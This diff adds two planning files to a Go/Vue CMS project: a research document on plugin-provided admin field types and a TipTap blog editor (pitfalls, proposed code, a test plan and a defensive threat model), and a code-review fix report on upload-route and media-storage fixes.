| Locale storage for the ML variant | Per-plugin translation writes | cabana `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord` + published `TranslationWriter` | D-14; the existing path already validates locales and the default key |
|
||||
| Asset hashing/serving/ETag | A second asset pipeline | `compileClientAssets` reader + `pluginAsset` route | 10.1 machinery; refactor the reader for plugin-level assets |
|
||||
| Upload auth/CSRF/permissions/scoping | A plugin route that reads the cookie | cabana-owned field upload route (Pattern 9) | The framework owns these checks for actions and file routes already |
|
||||
| HTML sanitization | A sanitizer | `classes.CheckHTML` refuse-only gate | Locked D-10 (no sanitizer dependency) |
|
||||
| The dist drift gate | Ad-hoc checks | Copy of `scripts/check-admin-dist.sh` | Proven pattern (temp build + `diff -r`) |
|
||||
|
||||
**Key insight:** losslessness here does not come from a perfect schema, because no ProseMirror schema round-trips arbitrary HTML. It comes from not serializing unless the user edited, plus a server that refuses to write what it served.
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Pitfall 1: TipTap's default schema silently rewrites imported HTML
|
||||
**What goes wrong:** Opening and re-serializing loses footers, styles, spans, microdata, figures and table structure.
|
||||
**Evidence (local probe, @tiptap/* 3.31.4 on happy-dom 20.11.6):**
|
||||
- The input `<p>Tekst.</p>\n\n<footer class="author-footer" itemscope itemtype="https://schema.org/Person">…<style>…</style>` came out as `<p>Tekst.</p><img src="/a.png" alt="A"><p>Marcin</p>`.
|
||||
- `"` became `"`.
|
||||
- `<table><thead>…` came out as `<table style="min-width: 50px;"><colgroup>…</colgroup><tbody><tr><th><p>A</p></th>…</tbody></table><p></p>`.
|
||||
- `<figure><img><figcaption>Cap</figcaption></figure>` came out as `<img …><p>Cap</p>`.
|
||||
|
||||
[VERIFIED: probe output this session]
|
||||
**How to avoid:** Use Patterns 3 and 4.
|
||||
**Warning signs:** A vitest that sets `value` and reads `value` without any edit returns a different string.
|
||||
|
||||
### Pitfall 2: Link extension adds attributes to every link
|
||||
**What goes wrong:** Every re-serialized `<a>` gains `target="_blank" rel="noopener noreferrer nofollow"`.
|
||||
**Why:** The defaults are `HTMLAttributes: { target: '_blank', rel: 'noopener noreferrer nofollow', class: null }` [VERIFIED: node_modules/@tiptap/extension-link/src/link.ts:263-267].
|
||||
**How to avoid:** Configure `link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false }` and preserve the original `target`/`rel` through the attribute map. Keep the default `isAllowedUri` (it refuses `javascript:`).
|
||||
|
||||
### Pitfall 3: The trailing node appends `<p></p>`
|
||||
**What goes wrong:** StarterKit v3 includes `TrailingNode`, so a document that ends in a table or another atom gains an empty paragraph.
|
||||
**How to avoid:** `StarterKit.configure({ trailingNode: false })` [VERIFIED: local probe, trailing `<p></p>` gone with the option].
|
||||
|
||||
### Pitfall 4: `setContent` emits `update` by default in v3
|
||||
**How to avoid:** Pass the initial value through the `content` option or `setContent(v, { emitUpdate: false })`. Track dirty from user transactions only. [VERIFIED: probe; CITED: tiptap set-content docs]
|
||||
|
||||
### Pitfall 5: The 16.1 stopgap is not byte-preserving
|
||||
**What goes wrong:** Since 16.1, every admin post save runs `FormatHTML(post.Content)` (goldmark with `html.WithUnsafe()`, format_html.go:22) and stores the result in `content_html`.
|
||||
- goldmark trims the input and adds a trailing `\n`.
|
||||
- CommonMark HTML-block rules can turn 4-space-indented HTML into code blocks, and can process markdown between blank-line-separated HTML blocks. [ASSUMED from CommonMark spec behavior]
|
||||
- The 16.1 test compares `strings.TrimSpace(stored.ContentHTML)` [VERIFIED: posts_admin_smoke_test.go:146], so it cannot detect byte drift.
|
||||
**How to avoid:** Replace the stopgap on the admin path (Pattern 6). Tighten the test to exact bytes and add the untouched case: a PUT with the served value must leave `content`, `content_html` and `updated_at`-independent columns unchanged.
|
||||
|
||||
### Pitfall 6: Saving an untouched markdown post converts it
|
||||
**What goes wrong:** Without the server-side skip, an untouched markdown post sends `content_html` back as `content`, a silent format migration with no edit. That contradicts D-03, and also D-07's "on first edit".
|
||||
**How to avoid:** Use the Pattern 3 server skip.
|
||||
|
||||
### Pitfall 7: Non-default `content_html` is never written by the admin today
|
||||
**What goes wrong:** `FormBeforeUpdate` sets only the host `ContentHTML`. `applyMLTranslations` writes only the field itself (`content`). So an `en` edit leaves the `en` `content_html` stale. PHP wrote both per locale: `setAttributeTranslated('content', …)` and `setAttributeTranslated('content_html', Post::formatHtml($value), …)` [VERIFIED: fonoteka/plugins/golem15/journal/formwidgets/MLJournalMarkdown.php getSaveValue].
|
||||
**How to avoid:** Use the Pattern 2 written-values accessor and the companion write in `FormAfter*`.
|
||||
|
||||
### Pitfall 8: Field-type CSS gets disabled on navigation
|
||||
**What goes wrong:** `activateStyles(controllerId)` disables every link whose owner is not the active controller [VERIFIED: admin/src/app/pluginAssets.ts].
|
||||
**How to avoid:** Add a global owner that `activateStyles` never touches.
|
||||
|
||||
### Pitfall 9: Route pattern collision panics at boot
|
||||
**What goes wrong:** See Pattern 9. Use the `/{id}/fields/{field}/upload` shape and keep `TestPhase09PermissionMatrix` green.
|
||||
|
||||
### Pitfall 10: The `data:` substring in prose trips `CheckHTML`
|
||||
**What goes wrong:** ``(?i)(?:javascript|vbscript|data):`` matches anywhere, including Polish text "Data: 12.03" ("data" is Polish for "date") and "Metadata:". The editor would then answer 422 on harmless text.
|
||||
**Evidence:** There are 0 occurrences in the local export [VERIFIED: scan this session], so this is a latent false-positive risk, not a current blocker.
|
||||
**How to handle:** Show the 422 message clearly in the editor. Changing the gate is a security decision and out of scope (D-10).
|
||||
|
||||
### Pitfall 11: There is no Docker on this machine
|
||||
**What goes wrong:** The testcontainers suites cannot run here: the `modules/cabana` Postgres tests and the sm-journal-plugin admin harness, including `TestPostsAdminResaveKeepsHTML` [VERIFIED: `docker info` failed this session; 16.1-01 SUMMARY records the same].
|
||||
**How to handle:** Plan DryRun/unit coverage that runs with `-short` and a human Docker-host gate before the release (the 16.1-02 "docker-first" pattern).
|
||||
|
||||
## Code Examples
|
||||
|
||||
### 1. pact surface (proposed; names are Claude's discretion)
|
||||
|
||||
```go
|
||||
// FormFieldType is a plugin-registered, value-bearing admin form field type
|
||||
// (Winter registerFormWidgets). Name is the global alias used as `type:` in
|
||||
// fields.yaml; Element is the custom-element tag the plugin's script defines.
|
||||
type FormFieldType struct {
|
||||
Name string
|
||||
Element string
|
||||
Translatable bool // value is a locale -> string map stored through the translation writer
|
||||
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
|
||||
Styles []string // AdminFS paths under assets/ (.css)
|
||||
Options []string // the type's own fields.yaml keys
|
||||
CheckOptions func(options map[string]any) error `json:"-"`
|
||||
Decode func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"`
|
||||
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"`
|
||||
ListValue func(value any) string `json:"-"`
|
||||
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
|
||||
}
|
||||
|
||||
type FormFieldValue struct {
|
||||
DB *gorm.DB // the save transaction, or the read handle for Load
|
||||
Record any // the loaded (or new) model pointer
|
||||
Field string
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // Locale is the host-column locale
|
||||
Value any // submitted (Decode) or stored (Load) value
|
||||
}
|
||||
|
||||
// FieldError is a value refusal shown on the field (422).
|
||||
type FieldError struct{ Messages []string }
|
||||
|
||||
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType }
|
||||
```
|
||||
|
||||
(`pact` already imports `gorm.io/gorm` and `context` [VERIFIED: modules/pact/capabilities.go:3-13].)
|
||||
|
||||
### 2. Journal Decode (Go, no new dependency)
|
||||
|
||||
```go
|
||||
func decodeBlogHTML(_ context.Context, in pact.FormFieldValue) (any, error) {
|
||||
text, ok := in.Value.(string)
|
||||
if !ok {
|
||||
return nil, &pact.FieldError{Messages: []string{"golem15.journal::lang.post.content_invalid"}}
|
||||
}
|
||||
if err := CheckHTML(text); err != nil { // classes.CheckHTML: refuse, never rewrite (D-10)
|
||||
return nil, &pact.FieldError{Messages: []string{err.Error()}}
|
||||
}
|
||||
return text, nil
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Element skeleton (TypeScript, light DOM)
|
||||
|
||||
```ts
|
||||
// Source: TipTap Editor/setContent docs + local probes (emitUpdate:false fires no update)
|
||||
class BlogEditor extends HTMLElement {
|
||||
#original = '' // exact served string
|
||||
#dirty = false
|
||||
#editor?: Editor
|
||||
get value(): string { return this.#dirty ? serialize(this.#editor!) : this.#original }
|
||||
set value(v: string) {
|
||||
if (v === this.value) return // echo of our own summer-change: no reset
|
||||
this.#original = v; this.#dirty = false
|
||||
this.#editor?.commands.setContent(v, { emitUpdate: false })
|
||||
}
|
||||
connectedCallback() {
|
||||
this.#editor = new Editor({
|
||||
element: this.querySelector('[data-pm]')!, injectCSS: false,
|
||||
extensions: preservationExtensions(), content: this.#original,
|
||||
onUpdate: ({ transaction }) => {
|
||||
if (!transaction.docChanged) return
|
||||
this.#dirty = true
|
||||
this.dispatchEvent(new CustomEvent('summer-change', { bubbles: true, detail: { value: this.value } }))
|
||||
},
|
||||
})
|
||||
}
|
||||
disconnectedCallback() { this.#editor?.destroy() }
|
||||
}
|
||||
customElements.define('golem15-journal-blogeditor', BlogEditor)
|
||||
```
|
||||
|
||||
### 4. Layer embed expansion (SSR-safe string transform)
|
||||
|
||||
```ts
|
||||
// After gateJournalHtml; the iframe exists only in the rendered page (D-05).
|
||||
const YOUTUBE = /<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"><\/figure>/g
|
||||
export function expandEmbeds(html: string): string {
|
||||
return html.replace(YOUTUBE, (_m, id: string) =>
|
||||
`<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/${id}" title="YouTube" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture" allowfullscreen></iframe></figure>`)
|
||||
}
|
||||
```
|
||||
|
||||
## State of the Art
|
||||
|
||||
| Old Approach | Current Approach | When Changed | Impact |
|
||||
|--------------|------------------|--------------|--------|
|
||||
| TipTap 2 `setContent(content, emitUpdate = false)` | v3 options object, `emitUpdate` default `true` | TipTap v3 | Echo updates mark dirty unless suppressed |
|
||||
| `History` extension | `UndoRedo` (StarterKit option `undoRedo`) | v3 | Config key name [VERIFIED: starter-kit.ts:101-103] |
|
||||
| `@tiptap/extension-table-row/-cell/-header` separate packages | `TableKit` from `@tiptap/extension-table` | v3 | One install [CITED: tiptap table docs] |
|
||||
| StarterKit without link/underline/trailing node | v3 StarterKit includes Link, Underline, TrailingNode | v3 | Must configure or disable [VERIFIED: starter-kit.ts:130-169] |
|
||||
|
||||
**Deprecated/outdated:** goldmark rendering of HTML content on the admin path (the 16.1 stopgap) is replaced by D-02/D-10.
|
||||
|
||||
## Assumptions Log
|
||||
|
||||
| # | Claim | Section | Risk if Wrong |
|
||||
|---|-------|---------|---------------|
|
||||
| A1 | "Looks like HTML" (first non-space byte `<`) identifies an HTML post; anything else is markdown and is served as `content_html` | Pattern 6 | A markdown post starting with an HTML tag would open as raw markdown in WYSIWYG; low frequency (0 of the local export's markdown bodies start with `<`) but needs user OK |
|
||||
| A2 | Light DOM is preferable to Shadow DOM for ProseMirror | Alternatives | Style leakage if wrong; mitigated by tag-scoped CSS |
|
||||
| A3 | Top-level `Node.eq` reuse of original block HTML is worth its complexity | Pattern 4 item 7 | Planner may cut it; D-03 only requires "as far as possible" |
|
||||
| A4 | goldmark can mangle indented HTML (CommonMark HTML block rules) | Pitfall 5 | Only affects the justification for replacing the stopgap, not the decision |
|
||||
| A5 | Settings forms refuse plugin types in v1 | Pattern 1 | A future settings form wanting a plugin type needs a follow-up |
|
||||
| A6 | Journal uploads keep the media-bucket layout (`/journal/...`), not `content_images` attachments (PHP parity used attachments) | Pattern 9 | Attachments would need deferred binding with the form session key |
|
||||
| A7 | contenteditable inconsistency justifies the library (general knowledge) | Don't Hand-Roll | None (D-16 locks TipTap anyway) |
|
||||
|
||||
## Open Questions (RESOLVED)
|
||||
|
||||
All three questions were settled during planning; the resolution line under each question is binding for the plans.
|
||||
|
||||
1. **D-18 upload path reachability (needs user confirmation).**
|
||||
- **RESOLVED (user decision 2):** cabana owns the upload transport, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (plan 01), which calls the field type's `Upload`; Journal moves its storage rules into `classes.StoreMedia` and calls it from that `Upload` (plan 03), and `POST /_journal/api/v1/media/upload` stays unchanged for API clients (D-09).
|
||||
- What we know:
|
||||
- The admin SPA never reads the JWT: "the JWT lives in an HttpOnly cookie the SPA never reads" [VERIFIED: admin/src/api/client.ts:2-4].
|
||||
- The cookie is `Path: s.adminPrefix()`, `HttpOnly: true`, `SameSite: http.SameSiteStrictMode` [VERIFIED: modules/cabana/auth.go:244-252], with `AdminCookieName = "summer_admin"` [VERIFIED: modules/cabana/prefix.go:16].
|
||||
- The Journal guard is built without cookie names: `return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)` [VERIFIED: sm-journal-plugin/controllers/api/auth.go:80], and the route is `g.Post("/media/upload", ...)` under `/_journal/api/v1` [VERIFIED: routes.go:26].
|
||||
- So the browser sends no credential to that route from the admin.
|
||||
- Recommendation:
|
||||
- Keep the existing route untouched for API clients (D-09 spirit).
|
||||
- Extract its storage logic into `classes` (or `controllers/api`), keeping these values: `const mediaMaxBytes = 10240 << 10`; extensions `"jpg", "jpeg", "png", "gif", "webp"` [VERIFIED: media.go:17,45]; the `/journal/<folder>/<name>` keys; the unique-suffix logic.
|
||||
- Call it from the field type's `Upload` through the cabana field upload route (Pattern 9).
|
||||
- This keeps "the existing Journal media storage" but changes the transport, so confirm the reading of D-18 with the user.
|
||||
2. **Where the SPA learns the global field-type assets.** Options: a new `GET /field-types` route (adds to the OpenAPI and route matrix), or a `meta.fieldTypes` on `/navigation`, which already loads on every page (`useNavigation.ts:13`). Recommendation: a dedicated route, which keeps the navigation contract unchanged. Planner's choice.
|
||||
- **RESOLVED (plan 01, planner's choice):** a dedicated `GET {api}/field-types` route, loaded by the SPA next to `/navigation`; the navigation contract does not change.
|
||||
3. **Release scope.** The 16.1 pattern applies: summercms tag v0.1.17 (latest is v0.1.16), a sm-journal-plugin `go.mod` require bump, the host gitlink bump, vue-journal-layer tag v0.2.0 (latest v0.1.0) with the `vue-grzybyfunkcjonalne-app` `package.json` pin `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` [VERIFIED: package.json:20] bumped, the host gitlink for the Vue app, `scripts/build.sh` (builds Go and Nuxt), rsync, restarting both supervisor programs, and the on-server smoke. Recommendation: include it as a plan with human checkpoints (Docker-host gate, UAT browser check of editing an imported post).
|
||||
- **RESOLVED (user decision 3):** release and UAT are in scope: plan 04 tags the layer (v0.2.0) and pins it in the app, and plan 05 tags summercms (v0.1.17 or the next free v0.1.x), bumps the plugin require and the host gitlinks, deploys UAT and runs the human Docker-host and UAT checkpoints.
|
||||
|
||||
## Environment Availability
|
||||
|
||||
| Dependency | Required By | Available | Version | Fallback |
|
||||
|------------|------------|-----------|---------|----------|
|
||||
| Go | all Go work | ✓ | go1.27.0 | — |
|
||||
| Node | plugin JS build, admin SPA, layer | ✓ | v22.23.2 (admin needs >=22.6; layer needs >=22.18) | — |
|
||||
| npm | plugin build, admin | ✓ | 12.0.2 | — |
|
||||
| pnpm | `vue-journal-layer` `check-git-install.sh` | not probed | — | Run on the release machine; the script exits early if pnpm is missing |
|
||||
| Docker | testcontainers suites (cabana Postgres, journal admin harness) | ✗ | — | DryRun/unit tests with `-short`; human Docker-host gate before the tag (16.1 pattern) |
|
||||
| ssh to UAT (`grzybyfunkcjonalne-uat`) | redeploy | not probed this session (worked in 16.1-02) | — | Human checkpoint |
|
||||
|
||||
**Missing dependencies with no fallback:** none blocking the code work.
|
||||
**Missing dependencies with fallback:** Docker (human-run gate).
|
||||
|
||||
## Validation Architecture
|
||||
|
||||
### Test Framework
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Framework | Go `testing` (+ testify), admin vitest 3.2.7 + happy-dom, plugin vitest 3.2.7 (new), layer `node --test` |
|
||||
| Config file | `admin/vitest.config.ts`; plugin `vite.config.ts`/`vitest.config.ts` (Wave 0); layer `package.json` `test` script |
|
||||
| Quick run command | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
|
||||
| Full suite command | `go vet ./... && go test -short ./...` in summercms.go; `npm --prefix admin test`; in `../sm-journal-plugin`: `go vet ./... && go test -short ./... && npm test`; in `../vue-journal-layer`: `npm test` |
|
||||
|
||||
### Phase Requirements → Test Map
|
||||
|
||||
| Req | Behavior | Test Type | Automated Command | File Exists? |
|
||||
|-----|----------|-----------|-------------------|-------------|
|
||||
| D-11 | Duplicate alias / core-type clash / bad element tag fails boot | unit | `go test -short ./modules/cabana -run TestFieldTypeRegistry` | ❌ Wave 0 |
|
||||
| D-12.1 | Unknown plugin key and CheckOptions error fail boot | unit | `go test -short ./modules/cabana -run TestFieldTypeOptions` | ❌ |
|
||||
| D-12.2/D-10 | FieldError → 422 on field, default + non-default locale | unit (DryRun/fake writer) | `go test -short ./modules/cabana -run TestFieldTypeDecode` | ❌ |
|
||||
| D-03 | Submitted == served → nothing written (host and translation) | unit | `go test -short ./modules/cabana -run TestFieldTypeUntouched` | ❌ |
|
||||
| D-12.3/D-07 | Load serves `content_html` for a markdown post, `content` for HTML | unit | `go test -short ../sm-journal-plugin/classes -run TestBlogEditorLoad` | ❌ |
|
||||
| D-12.4 | List column with plugin type uses ListValue | unit | `go test -short ./modules/cabana -run TestFieldTypeListValue` | ❌ |
|
||||
| D-13/D-15 | Schema carries `element`/`translatable`; OpenAPI/TS in sync | unit + script | `go test ./modules/cabana -run 'TestPhase09' && bash scripts/check-admin-openapi.sh --check` | ✅ (extend) |
|
||||
| D-13 | PluginField binds value, emits only on summer-change; ML wrapper | vitest | `npm --prefix admin test -- PluginField` | ❌ |
|
||||
| D-18 | Upload route: auth, CSRF, permission, scope, size cap, non-plugin field 404 | unit | `go test -short ./modules/cabana -run TestFieldUpload` | ❌ |
|
||||
| D-03/D-04 | Element: untouched value identical; rawHtml/embed/figure/link/table round-trip | vitest (happy-dom) | `npm --prefix ../sm-journal-plugin test` | ❌ |
|
||||
| todo resave | Re-save untouched imported HTML post: `content` and `content_html` byte-identical; edited save sets both equal | integration (Postgres) | `go test ../sm-journal-plugin -run TestPostsAdminResaveKeepsHTML` (Docker host) | ✅ (tighten) |
|
||||
| D-17 | expandEmbeds allowlist, id regex, gate-first order | node:test | `npm --prefix ../vue-journal-layer test` | ❌ (`tests/embeds.test.ts`) |
|
||||
| docs | READMEs/docs identifiers and links | unit | `go test ./cmd/summer -run TestDocsTree` | ✅ |
|
||||
| dist | Admin and plugin bundles match committed dist | script | `bash scripts/check-admin-dist.sh` and `bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ / ❌ |
|
||||
|
||||
### Sampling Rate
|
||||
- **Per task commit:** `go vet ./... && go test -short` for the touched packages, plus the touched vitest file.
|
||||
- **Per wave merge:** every full-suite command above.
|
||||
- **Phase gate:** full suites green, `check-admin-dist.sh`, `check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `TestDocsTree`, and the human Docker-host run of the testcontainers suites, all before `/msd-verify-work`.
|
||||
|
||||
### Wave 0 Gaps
|
||||
- [ ] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, `vitest` setup with happy-dom, `scripts/check-dist.sh`
|
||||
- [ ] `modules/cabana/field_type_test.go`: registry, options, decode/skip, list, upload (reuse `openDryRunDB`/`newDryRunListService` from query_relation_test.go and a fake `TranslationWriter`)
|
||||
- [ ] `admin/tests/form/PluginField.test.ts` with a stub custom element
|
||||
- [ ] `../vue-journal-layer/tests/embeds.test.ts`
|
||||
|
||||
## Security Domain
|
||||
|
||||
`security_enforcement` is absent from config (treated as enabled); ASVS L1.
|
||||
|
||||
### Applicable ASVS Categories
|
||||
|
||||
| ASVS Category | Applies | Standard Control |
|
||||
|---------------|---------|-----------------|
|
||||
| V2 Authentication | yes (upload route) | cabana backend guard (cookie or Bearer); never a token handed to the element |
|
||||
| V3 Session Management | yes | Existing HttpOnly, SameSite=Strict cookie scoped to the admin prefix; `requireAjax` on POST |
|
||||
| V4 Access Control | yes | Controller `RequiredPermissions` + `FormExtendQuery` record scope on the upload route; field must be a plugin type with `Upload` and its `context` must allow the op |
|
||||
| V5 Input Validation | yes | `CheckHTML` per locale in Decode (refuse, no rewrite); option keys validated at boot; upload extension allowlist + size cap; embed id regex in the layer |
|
||||
| V6 Cryptography | no | — |
|
||||
| V12 Files and Resources | yes | `.jpg/.jpeg/.png/.gif/.webp` only (no SVG); 10 MiB cap; nginx serves `/storage/app/uploads/public` image types only with `nosniff` [VERIFIED: deploy/nginx/grzybyfunkcjonalne-staging.conf, its storage image location block] |
|
||||
| V14 Configuration | yes | Admin CSP `script-src 'self'` unchanged; bundle has no eval |
|
||||
|
||||
### Known Threat Patterns (threat model input)
|
||||
|
||||
| Pattern | STRIDE | Standard Mitigation |
|
||||
|---------|--------|---------------------|
|
||||
| Stored XSS through the raw HTML block, source tab or a non-default locale | Tampering / Elevation | `CheckHTML` in Decode for every locale value; layer `gateJournalHtml` again before v-html |
|
||||
| An iframe smuggled in as an "embed" | Tampering | Placeholder only in storage; the layer builds the iframe from a validated id and a fixed host |
|
||||
| XSS in the admin itself (the element renders stored HTML in contenteditable) | Elevation | ProseMirror renders through its schema, so `script` is never a node and the `rawHtml` card shows text, not live DOM. The admin CSP `script-src 'self'` blocks inline handlers. Do not `innerHTML` raw blocks into the live admin DOM. [ASSUMED: verify in the plan's tests that the rawHtml card renders escaped text] |
|
||||
| A plugin alias hijacking a core type or another plugin's type | Spoofing | Boot fails on any collision (D-11) |
|
||||
| A plugin element exfiltrating the session | Information disclosure | No credential is passed to elements; the cookie is HttpOnly; the SPA performs uploads |
|
||||
| CSRF on the upload route | Tampering | `requireAjax` (X-Requested-With) plus a SameSite=Strict cookie |
|
||||
| Upload of HTML or SVG disguised as an image | Tampering / Elevation | Extension allowlist without SVG; nginx type map + `nosniff`; consider also checking the magic bytes with `http.DetectContentType` (stdlib) |
|
||||
| Path traversal or odd filenames in upload keys | Tampering | `path.Base`, the folder regex `^[A-Za-z0-9_\-/]*$`, `..` refused (existing); consider slugifying the base name for the admin path |
|
||||
| Oversized uploads, or unbounded JSON in Decode | DoS | `http.body_limits.upload_bytes` on the route; the existing default body limit on saves |
|
||||
| Option values reaching the element as HTML | Tampering | Options delivered as a JSON attribute; the element never `innerHTML`s them |
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence)
|
||||
- Source files read in this session:
|
||||
- `modules/pact/capabilities.go`
|
||||
- in `modules/cabana`: `form_schema.go`, `crud.go`, `field_ml.go`, `extension.go`, `plugin_assets.go`, `registry.go`, `http.go`, `list_schema.go`, `schema_types.go`
|
||||
- in `admin/src`: `components/form/registry.ts`, `formState.ts`, `mlLocale.ts`, `fields/WidgetField.vue`, `fields/MLField.vue`, `app/pluginAssets.ts`, `views/FormView.vue`
|
||||
- `modules/boardwalk/boardwalk.go`, `modules/bouncer/jwt.go`
|
||||
- in sm-journal-plugin: `classes/format_html.go`, `controllers/posts.go`, `controllers/categories.go`, `controllers/api/media.go`, `controllers/api/auth.go`, `routes.go`, `admin.go`, `plugin.go`, `models/post.go`, `models/category.go`, both `fields.yaml`, `posts_admin_smoke_test.go`
|
||||
- in sm-translate-plugin: `classes/admin_writer.go`
|
||||
- in vue-journal-layer: `PostBody.vue`, `htmlGate.ts`
|
||||
- in the host: nginx conf, `DEPLOY.md`, `storage.yaml`
|
||||
- in the frozen PHP Journal: `Category.php`, `Post.php`, `JournalMarkdown.php`, `MLJournalMarkdown.php`
|
||||
- npm registry: `npm view` for every recommended package; `msd-tools query package-legitimacy check`
|
||||
- Local probes: TipTap 3.31.4 on happy-dom 20.11.6 (lossiness, rawHtml/embed nodes, global attributes, emitUpdate, trailingNode); an esbuild bundle-size build
|
||||
|
||||
### Secondary (MEDIUM confidence)
|
||||
- tiptap.dev docs: extend-existing (global attributes), editor API (parseOptions, injectCSS), set-content (emitUpdate default true), table (TableKit options)
|
||||
- support.google.com/youtube/answer/171780 (privacy-enhanced embed domain)
|
||||
|
||||
### Tertiary (LOW confidence)
|
||||
- General ProseMirror Shadow DOM quirk claim (A2)
|
||||
|
||||
## Metadata
|
||||
|
||||
**Confidence breakdown:**
|
||||
- Standard stack: HIGH. Versions come from the registry, and the toolchain is pinned to the admin's existing lockfile.
|
||||
- Architecture: HIGH for the integration points (read from source). MEDIUM for the proposed API shape and the editor serializer, which are design choices.
|
||||
- Pitfalls: HIGH. Most were reproduced by local probes or read from source.
|
||||
|
||||
**Research date:** 2026-10-09
|
||||
**Valid until:** 2026-11-08 for the framework findings. Re-check TipTap patch versions before installing, because the project releases fast.
|
||||
@@ -0,0 +1,228 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
fixed_at: 2026-10-10T14:46:56Z
|
||||
review_path: .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
|
||||
iteration: 1
|
||||
findings_in_scope: 8
|
||||
fixed: 8
|
||||
skipped: 0
|
||||
status: all_fixed
|
||||
---
|
||||
|
||||
# Phase 16.2: Code Review Fix Report
|
||||
|
||||
**Fixed at:** 2026-10-10T14:46:56Z
|
||||
**Source review:** .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
|
||||
**Iteration:** 1
|
||||
|
||||
**Summary:**
|
||||
- Findings in scope: 8 (CR-01, WR-01, WR-02, WR-03, WR-04, WR-05, WR-06, IN-04, as the orchestrator chose)
|
||||
- Fixed: 8
|
||||
- Skipped: 0 in scope. WR-07, WR-08, IN-01, IN-02, IN-03, IN-05, IN-06, IN-07 and IN-08 are out of scope by decision. Each is listed under Skipped Issues.
|
||||
|
||||
The fixes span three repositories, and each fix is committed in the repository that owns the file:
|
||||
- summercms.go: `/media/nvme/dev/golem15/summercms.io/summercms/summercms.go`
|
||||
- sm-journal-plugin: `/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin`
|
||||
- vue-journal-layer: no fix touched it.
|
||||
|
||||
## Fixed Issues
|
||||
|
||||
### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank
|
||||
|
||||
**Repository:** sm-journal-plugin
|
||||
**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
|
||||
**Commit:** 1593231
|
||||
**Applied fix:** `loadBlogHTML` now reads the `htmlColumn` attribute when the stored content is blank and serves it whenever it is not empty. This applies to every locale and to the host row. When it is empty or missing, the blank value is served as stored. FormatHTML never runs on a blank value. An untouched save echoes the served value, which cabana skips. An edit writes the edited HTML to `content`, and FormAfterUpdate writes it to that locale's `content_html`.
|
||||
**Tests:**
|
||||
- Blank or nil content is served as `content_html`, in a translation and on the host row.
|
||||
- Blank content with an empty or missing `content_html` is still served as `""`.
|
||||
- A failing read is the Load error.
|
||||
- A field without `htmlColumn` never reads.
|
||||
- The controller smoke test covers the whole flow: Load serves the API-written body, Decode accepts the edit, and FormAfterUpdate writes `content_html` for that locale.
|
||||
|
||||
### WR-01: Field upload route skips the controller's create/update capability check
|
||||
|
||||
**Repository:** summercms.go
|
||||
**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/field_type_smoke_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
|
||||
**Commit:** 3158bb5
|
||||
**Applied fix:** `fieldUpload` now calls `s.operationDeclared(w, r, cc, op)` right after parsing `{id}`, before it reads the body. The operation is `create` for id 0 and `update` otherwise, as on the save routes.
|
||||
**Tests:**
|
||||
- New `TestFieldUpload` case: a controller with no `create` toolbar button answers 403 for id 0 and never calls Upload. The same field with the button answers 201.
|
||||
- The test fixtures for upload (`upFS`, `ftMLPlugin`) now declare `toolbar.buttons: [create]`.
|
||||
**Docs:** the README route row and the field-types page now describe the 403.
|
||||
|
||||
### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
|
||||
|
||||
**Repository:** summercms.go
|
||||
**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
|
||||
**Commit:** c532529
|
||||
**Applied fix:**
|
||||
- The route reads the whole multipart body with `ReadForm` before Upload runs. Files over 8 MiB (`fieldUploadMemory`) spool to a temporary file, which `RemoveAll` deletes.
|
||||
- `singleUploadFile` requires exactly one part: a file part named `file` with a non-blank file name. Only then is Upload called, with the opened file.
|
||||
- An extra part, a value part or an oversized body is refused (422 or 413) without calling Upload.
|
||||
- Two windows remain, and the docs now name them: a record transaction that fails after Upload returns, and an element that stops waiting. In both cases `Upload` should store under a name that is safe to leave behind.
|
||||
**Tests:**
|
||||
- New cases check that a second file part, a later field, a value part before or after the file, and an oversized body never call Upload.
|
||||
- A file larger than the in-memory threshold reaches Upload byte for byte.
|
||||
|
||||
### WR-03: Media key uniqueness is check-then-write
|
||||
|
||||
**Repository:** sm-journal-plugin
|
||||
**Files modified:** `classes/media_store.go`, `classes/media_store_test.go`
|
||||
**Commit:** 2c961b8
|
||||
**Applied fix:**
|
||||
- `StoreMedia` reserves the chosen key in an in-process set, per bucket, while it writes. `uniqueMediaKey` treats reserved keys as taken.
|
||||
- The write uses `blob.WriterOptions{IfNotExist: true}`. A `gcerrors.FailedPrecondition` moves the upload on to the next free name, for at most 10 attempts.
|
||||
